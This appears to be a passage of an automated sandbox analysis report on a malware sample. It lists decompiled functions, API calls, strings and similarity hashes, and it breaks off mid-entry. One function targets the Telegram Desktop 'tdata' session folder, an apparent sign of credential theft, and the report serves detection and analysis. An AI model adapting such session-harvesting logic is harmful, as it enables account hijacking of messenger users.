Uniqueness Score: -1.00%

Function 004340F6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434122
__aullrem.LIBCMT ref: 004342EF
__aulldiv.LIBCMT ref: 00434311

Strings

9, xrefs: 00434322

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 269ab7f58daeab099a455722b2f3f76ea72d2d74563c50ad3b0b3921bcc7cca1
Instruction ID: fdeb162642c0d1c0d2df199f2772b69bddfeb3185c4943e489b4527cb7919be4
Opcode Fuzzy Hash: 269ab7f58daeab099a455722b2f3f76ea72d2d74563c50ad3b0b3921bcc7cca1
Instruction Fuzzy Hash: 1F41E271901628DFEB24CF89C899BEEB7B5FB88300F1091DAE459A7244C7386A81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043549E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004354CA
__aullrem.LIBCMT ref: 0043569A
__aulldiv.LIBCMT ref: 004356BC

Strings

9, xrefs: 004356CD

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 56efae3e92efd6b9570c1997dc029953cd4e03429df702039e161a43b3dcd200
Instruction ID: 55244adfac387e77284a6b13ea8a4cd8109b68d62364aa85444095f918930c6c
Opcode Fuzzy Hash: 56efae3e92efd6b9570c1997dc029953cd4e03429df702039e161a43b3dcd200
Instruction Fuzzy Hash: 9D4117B1E005299FDB24CF48CD82BAEB7B5FF89314F1091A9D149A7241C738AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00435447, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004354CA
_get_int64_arg.LIBCMTD ref: 004354F2
__aullrem.LIBCMT ref: 0043569A
__aulldiv.LIBCMT ref: 004356BC

Strings

9, xrefs: 004356CD

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 51a1e4ad8bce3b7dfa5e072f009244a2fa6374828f608762a9746ddc75340079
Instruction ID: 73aeae69b5c4444bcaadd4986c4ecc47792ffb19d1bf2250ac9cc314dcaf6be2
Opcode Fuzzy Hash: 51a1e4ad8bce3b7dfa5e072f009244a2fa6374828f608762a9746ddc75340079
Instruction Fuzzy Hash: 864117B1E005299FDB24CF48CD81BAEB7B5FF89314F10509AE149A7241C738AE81CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 004340A5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434122
_get_int64_arg.LIBCMTD ref: 0043414A
__aullrem.LIBCMT ref: 004342EF
__aulldiv.LIBCMT ref: 00434311

Strings

9, xrefs: 00434322

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 86cfd9290d2ba7a397d925047a6703890f846bca8cb66e7cfa13555f7a48d856
Instruction ID: 214fb8c2dbfbd5b74ca696a87f3070cc1533de8a5e8c7eb79281535634df5116
Opcode Fuzzy Hash: 86cfd9290d2ba7a397d925047a6703890f846bca8cb66e7cfa13555f7a48d856
Instruction Fuzzy Hash: 7E41E471901628DFDB24CF48C899BEEB7B5FB88304F2091DAE409A7244C7386E81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00411CC0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411CC0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411240(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411200(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E004112F0(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x00411cc6
0x00411ccc
0x00411cd6
0x00411ce3
0x00411ced
0x00411cf7
0x00411d01
0x00411d0e
0x00411d19
0x00000000
0x00411d2b
0x00411d3e
0x00411d45
0x00411daf
0x00411db9
0x00411dc4
0x00411dcc
0x00411dcc
0x00411dd2
0x00411dda
0x00411de8
0x00411dfa
0x00411dfe
0x00411e0e
0x00411e16
0x00411e19
0x00411e1c
0x00411e1f
0x00411e22
0x00411e28
0x00411e2e
0x00411e31
0x00411e34
0x00411e3a
0x00411e40
0x00411e53
0x00411e5c
0x00000000
0x00411e5f
0x00411d6f
0x00411d76
0x00411d8a
0x00411d93
0x00411d9d
0x00000000
0x00411da0
0x00000000
0x00411d78

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,004126AE,?,?), ref: 00411D38
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,004126AE), ref: 00411D8A

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 08d5a3b8dd58ddef641ba1ff8d8bc8950620069fb78427c91f4480413af4b581
Instruction ID: d458031aba9718f27d6be8bd2f65d85a66cab1303f35399c6f144189fa83615d
Opcode Fuzzy Hash: 08d5a3b8dd58ddef641ba1ff8d8bc8950620069fb78427c91f4480413af4b581
Instruction Fuzzy Hash: 8C51D774E002089FDB04DFA8C484BDEBBF5BB48304F10C15AE925AB391D735A885CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00438731, Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 004387E5

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: ___libm_error_support
String ID:
API String ID: 2356892068-0
Opcode ID: 4fda68964a8ca13c7789e8896f13d0ba251379da53ba681078fcac876e9b2280
Instruction ID: 9fc261fbf49c7c7c03fa97e16bd176118929c86a7cafa2788390d4a3bbafe54e
Opcode Fuzzy Hash: 4fda68964a8ca13c7789e8896f13d0ba251379da53ba681078fcac876e9b2280
Instruction Fuzzy Hash: 75414961C08748CACB11AB39D94A16EB7B0EF99344F10DB6FF9C865151EF388A55C38B

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBA0, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 55
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040BBA0(char* _a4, intOrPtr* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				char _v17;
				intOrPtr _v24;

				_v8 = E0040B0D0(_a4, _a8);
				if(_v8 != 0) {
					strncpy("C:\Users\hardz\AppData\Roaming\Telegram Desktop\tdata\", _a4, _v8 - _a4);
					 *(_v8 - _a4 + 0x420408) = 0;
					_v12 = _a8;
					_v16 = _v12 + 1;
					do {
						_v17 =  *_v12;
						_v12 = _v12 + 1;
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					_push(_v8 + _v24);
					_push(_a12);
					wsprintfA(_v8 - _a4 + 0x420408, "%s%s");
					return 0x420408;
				}
				return _a4;
			}

0x0040bbb6
0x0040bbbd
0x0040bbd4
0x0040bbe3
0x0040bbed
0x0040bbf6
0x0040bbf9
0x0040bbfe
0x0040bc01
0x0040bc05
0x0040bc11
0x0040bc1a
0x0040bc1e
0x0040bc30
0x00000000
0x0040bc39
0x00000000

APIs

Part of subcall function 0040B0D0: strstr.MSVCRT ref: 0040B0DB

strncpy.MSVCRT ref: 0040BBD4
wsprintfA.USER32 ref: 0040BC30

Strings

C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\, xrefs: 0040BBCF, 0040BC2A, 0040BC39
%s%s, xrefs: 0040BC1F

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: strncpystrstrwsprintf
String ID: %s%s$C:\Users\user\AppData\Roaming\Telegram Desktop\tdata\
API String ID: 2492869963-3001463722
Opcode ID: e3a0a2aaa8aaced35c418a4b5c9896bc3fe56b111184c7d9683aa5bdbb262ce0
Instruction ID: 500d443e72b7730a460a6c399be9fe3e0c027fee8eddc4f414ad0953b72776da
Opcode Fuzzy Hash: e3a0a2aaa8aaced35c418a4b5c9896bc3fe56b111184c7d9683aa5bdbb262ce0
Instruction Fuzzy Hash: 85215C71E00208EFCB04DFACD984A9DBBB5EF44304F10C099E948AB342C734AB40CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411980, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411980(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				char _v24;
				intOrPtr _v28;
				signed char _t101;
				char _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						E00416170( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B150(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B130(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					_t22 =  &_v24; // 0x41246d
					 *(_v28 + 0x3c) =  *_t22;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				E00416170( *(_v28 + 0x3c), _a4, _a8);
				_t148 = _t148 + 0xc;
				_v12 = 0;
				while(1) {
					_t155 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E00411070( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t155, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411986
0x0041198c
0x00411998
0x00411a62
0x00411a62
0x00411a65
0x00411a69
0x00411abd
0x00411ac0
0x00411ac4
0x00411ae9
0x00411af0
0x00000000
0x00411af0
0x00411adb
0x00000000
0x00411ae1
0x00411a6b
0x00411a74
0x00411a77
0x00411a7a
0x00411a9f
0x00411ab3
0x00000000
0x00411ab6
0x00411a7f
0x00000000
0x00411a86
0x004119a5
0x004119b8
0x004119bf
0x004119c4
0x004119ca
0x004119ca
0x004119d1
0x004119d8
0x004119e0
0x004119e5
0x004119e8
0x004119ee
0x004119f1
0x004119fa
0x004119fa
0x00411a0c
0x00411a11
0x00411a14
0x00411a26
0x00411a29
0x00411a2c
0x00000000
0x00000000
0x00411a43
0x00411a48
0x00411a54
0x00411a23
0x00411a23
0x00411a5f
0x00000000

APIs

new[].LIBCMTD ref: 004119E0

Strings

m$A, xrefs: 004119EE

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: new[]
String ID: m$A
API String ID: 4059295235-1333596609
Opcode ID: 8774cc69564602d8b64da5b033627aabea00c8fcb09f7d587d01d3719dac0caa
Instruction ID: 2bb353a07ef33044e4c4d27f06ee95db21a7a3bc204fecac136ee747e55d507d
Opcode Fuzzy Hash: 8774cc69564602d8b64da5b033627aabea00c8fcb09f7d587d01d3719dac0caa
Instruction Fuzzy Hash: 9D51CCB4E01209DFCB44CF98D491EAEBBB5BF88314F10815AEA159B355D734E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004120C0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120C0(intOrPtr __ecx, void* _a4, char _a8) {
				intOrPtr _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412446
					_t43 =  &_a8; // 0x412446
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412446
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412446
						 *((intOrPtr*)(_v20 + 0x78)) = E00410E10( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412446
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412446
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412446
						_v8 =  *_t15;
					}
					E00416170(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00410E10( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004120c6
0x004120d3
0x00412189
0x004121e9
0x00000000
0x004121f0
0x0041218d
0x00412191
0x004121a6
0x004121ad
0x004121b9
0x004121bf
0x004121c2
0x004121dc
0x004121df
0x00000000
0x004121df
0x00000000
0x004121af
0x004120eb
0x00412106
0x0041210c
0x0041210f
0x00412111
0x00412114
0x00412114
0x00412132
0x00412149
0x0041215b
0x00412178
0x00000000
0x0041217b
0x00000000

APIs

ReadFile.KERNEL32(00000000,?,F$A,F$A,00000000,?,00412446,?,00004000), ref: 004121A0

Strings

F$A, xrefs: 0041218D, 004121B9, 004121C2, 004121DF, 00412190, 004121C5
F$A, xrefs: 00412191, 0041210C, 00412111, 00412194

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FileRead
String ID: F$A$F$A
API String ID: 2738559852-3899519071
Opcode ID: 78871eba071db88332b8b0a2593c7b64ebd5802b1433d03a1a8a7d46494709fa
Instruction ID: 85987c76f8c70c4fedce96cf04b2bcf4667b417ba7028dd71c54cd50d0dfafce
Opcode Fuzzy Hash: 78871eba071db88332b8b0a2593c7b64ebd5802b1433d03a1a8a7d46494709fa
Instruction Fuzzy Hash: 2A41DAB5A00119EFCB44CF98C980EEEB7B5BF48304F208569E929D7341D731E991DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00411FA0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411FA0(intOrPtr __ecx, void* __eflags) {
				struct _FILETIME _v12;
				char _v16;
				signed short _v20;
				struct _SYSTEMTIME _v36;
				intOrPtr _v40;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t73;
				intOrPtr _t75;
				intOrPtr _t83;
				intOrPtr _t84;
				intOrPtr _t85;

				_v40 = __ecx;
				 *((intOrPtr*)(_v40 + 0x7c)) = 0;
				 *((intOrPtr*)(_v40 + 0x84)) = 0;
				 *((char*)(_v40 + 0x80)) = 0;
				 *((intOrPtr*)(_v40 + 0x78)) = 0;
				 *((intOrPtr*)(_v40 + 0x70)) = 0;
				 *((intOrPtr*)(_v40 + 0x90)) = 0;
				 *((intOrPtr*)(_v40 + 0x74)) = 0;
				 *((intOrPtr*)(_v40 + 0x4c)) = 0x41c00010;
				 *((intOrPtr*)(_v40 + 0x70)) = 0;
				 *((char*)(_v40 + 0x6c)) = 0;
				GetLocalTime( &_v36);
				SystemTimeToFileTime( &_v36,  &_v12);
				_t25 =  &_v16; // 0x4126e2
				E00411240(_v12.dwLowDateTime, _v12.dwHighDateTime,  &_v20, _t25);
				_t83 = _v12.dwHighDateTime;
				_t59 = E00411200(_v12.dwLowDateTime, _t83);
				_t73 = _v40;
				 *((intOrPtr*)(_t73 + 0x50)) = _t59;
				 *((intOrPtr*)(_t73 + 0x54)) = _t83;
				_t84 = _v40;
				_t60 = _v40;
				 *((intOrPtr*)(_t84 + 0x58)) =  *((intOrPtr*)(_t60 + 0x50));
				 *((intOrPtr*)(_t84 + 0x5c)) =  *((intOrPtr*)(_t60 + 0x54));
				_t75 = _v40;
				_t85 = _v40;
				 *((intOrPtr*)(_t75 + 0x60)) =  *((intOrPtr*)(_t85 + 0x50));
				 *((intOrPtr*)(_t75 + 0x64)) =  *((intOrPtr*)(_t85 + 0x54));
				_t46 =  &_v16; // 0x4126e2
				 *(_v40 + 0x68) =  *_t46 & 0x0000ffff | (_v20 & 0x0000ffff) << 0x00000010;
				return 0;
			}

0x00411fa6
0x00411fac
0x00411fb6
0x00411fc3
0x00411fcd
0x00411fd7
0x00411fe1
0x00411fee
0x00411ff8
0x00412002
0x0041200c
0x00412014
0x00412022
0x00412028
0x00412038
0x00412040
0x00412048
0x00412050
0x00412053
0x00412056
0x00412059
0x0041205c
0x00412062
0x00412068
0x0041206b
0x0041206e
0x00412074
0x0041207a
0x0041207d
0x0041208d
0x00412095

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,004126E2), ref: 00412014
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,004126E2), ref: 00412022

Part of subcall function 00411240: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,&A,?,?,?,?,?,?,004126E2), ref: 0041124E

Part of subcall function 00411200: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041122C

Strings

&A, xrefs: 00412028, 0041207D, 0041202B

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: &A
API String ID: 568878067-640968382
Opcode ID: 319a769509e41c636dfcb9d143e84f62eab84ca86d2b40bd0a042015b3d67be3
Instruction ID: 4fc8b244364c1325b0f069c591104959db140337495b00b0956bfd2d0f961ff0
Opcode Fuzzy Hash: 319a769509e41c636dfcb9d143e84f62eab84ca86d2b40bd0a042015b3d67be3
Instruction Fuzzy Hash: 9031A2B9A002089FDB08DF98C594BDEBBF5BB4C304F204599D805AB352D736AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: C169.exe PID: 2256 Parent PID: 6276 C169.exeCOMMON

Executed Functions

Function 05DE0040, Relevance: 7.5, Strings: 2, Instructions: 4954COMMON

Download Yara Rule

Strings

x{l, xrefs: 05DE5441
DCFm, xrefs: 05DE4E33

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID: DCFm$x{l
API String ID: 0-3902985257
Opcode ID: f8f341934d13ae40c92cbc1c101148fba0c0d06e402867564e60cd7b6c6b1578
Instruction ID: bfefec40cc42a82cfa3e171e932ba693431ab40d916d1dbf5945912e45bf8a4a
Opcode Fuzzy Hash: f8f341934d13ae40c92cbc1c101148fba0c0d06e402867564e60cd7b6c6b1578
Instruction Fuzzy Hash: C2A32A31E50B1AA6EB20DB50CC41BD9F371BF96700F60C796A6597A5C0EBB07AC5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05DE7548, Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2775b95f68ae7c60cf6ee24538548c75e24800ecb9874fd716113a6f1a29779d
Instruction ID: e7aa22e4f1751b8017404a1242527a8a1c578ece9dd675f36a0451ba538a2ff9
Opcode Fuzzy Hash: 2775b95f68ae7c60cf6ee24538548c75e24800ecb9874fd716113a6f1a29779d
Instruction Fuzzy Hash: 4BC17D306047458FCB54DF69C480A9ABBF2FF49308B54CD6DD8899B752DB71E84ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 05DE65F8, Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebb0aa74b26166ee8cae03ac81d885b03c95a798242a9833496bb12be90852bb
Instruction ID: c3457a1624eb65f9ea81b3d12e7c7493d222fe8550008cc4d16a0dd0ff47d8ec
Opcode Fuzzy Hash: ebb0aa74b26166ee8cae03ac81d885b03c95a798242a9833496bb12be90852bb
Instruction Fuzzy Hash: 82516D34A04214AFCB04EFA8D584AADFBF2FF88314F55806AD446AB751DB31EC41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DE7538, Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12e616ad69f730885c74dd2dd2bcb2748fc5b9da100b9a7e0f7c05dab2779355
Instruction ID: d1aaaa098bc0d04928c633e2891e288965103fd38298f52393384c6bfe779950
Opcode Fuzzy Hash: 12e616ad69f730885c74dd2dd2bcb2748fc5b9da100b9a7e0f7c05dab2779355
Instruction Fuzzy Hash: 225162302047529FC764DF69C4846AABBF1FF45308B44CE6DD48A4BB56DB71E849CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DE65AF, Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4f10fa28e42e4f39d72852cbfb02988fd49fc4040a992aff0bafebeef9bc5b4
Instruction ID: 605ae417d94319fb1edb340c7b8dace181401110b8d4604627b0b9b463fdea79
Opcode Fuzzy Hash: c4f10fa28e42e4f39d72852cbfb02988fd49fc4040a992aff0bafebeef9bc5b4
Instruction Fuzzy Hash: C5317E71E052149FCB18EBB9E984AEEBBF2AF98204F15847AE545E7350DB31DC41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 05DE9057, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 091b624c2364b55f2067f1a890f0c352db0d5f1756b9c575aacb77ea9ce449d0
Instruction ID: eeb589968d1163396c8f95a5915757340554251628b597daebbe9ec07abc1da0
Opcode Fuzzy Hash: 091b624c2364b55f2067f1a890f0c352db0d5f1756b9c575aacb77ea9ce449d0
Instruction Fuzzy Hash: D031B530A052098FDB14EFA5C894BEEBBF6EF49310F548459D451BB3A1CB719D85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 05DE65EA, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.604053201.0000000005DE0000.00000040.00000001.sdmp, Offset: 05DE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3393ed5bff3d92873d09606de9f00679e8086a162a70dfcbf8b25e1ab7668906
Instruction ID: b101faddfc9c8834f2d3fafecb4c01b27fe58bc8a7323c438c84d2058b3a2dff
Opcode Fuzzy Hash: 3393ed5bff3d92873d09606de9f00679e8086a162a70dfcbf8b25e1ab7668906
Instruction Fuzzy Hash: D1215C70E052099FCB08EFA9D984ADDBBF2AF8C204F14846AD845A7250DB31DD41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 012AD214, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.579047757.00000000012AD000.00000040.00000001.sdmp, Offset: 012AD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35e416831e031b4505fad5969031b36c84ac85c3014b2f08070e446ef3b98855
Instruction ID: bb38498afeea3b8602bd50bdf5d8badd4ae9b0fbb27763347469a159203db7db
Opcode Fuzzy Hash: 35e416831e031b4505fad5969031b36c84ac85c3014b2f08070e446ef3b98855
Instruction Fuzzy Hash: C1216775514348DFDB05CFA4D8C0B66BBA9FB88324F64C969E9050BA47C336D816CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 012AD4DC, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.579047757.00000000012AD000.00000040.00000001.sdmp, Offset: 012AD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3195cfc7c9619e703ab016dc503bb9532c64a1a3d90a3a9cc2e588f405399bd
Instruction ID: 4fa62f0d4a6734eb226fc892e0b83f4deb8b7a4c3c7e3673497bd5f2a51305cb
Opcode Fuzzy Hash: b3195cfc7c9619e703ab016dc503bb9532c64a1a3d90a3a9cc2e588f405399bd
Instruction Fuzzy Hash: 62214875514208DFDB05DF94E8C0F6ABFA5FB88328F24856DE9450B606C336D855C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 05DE6517, Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

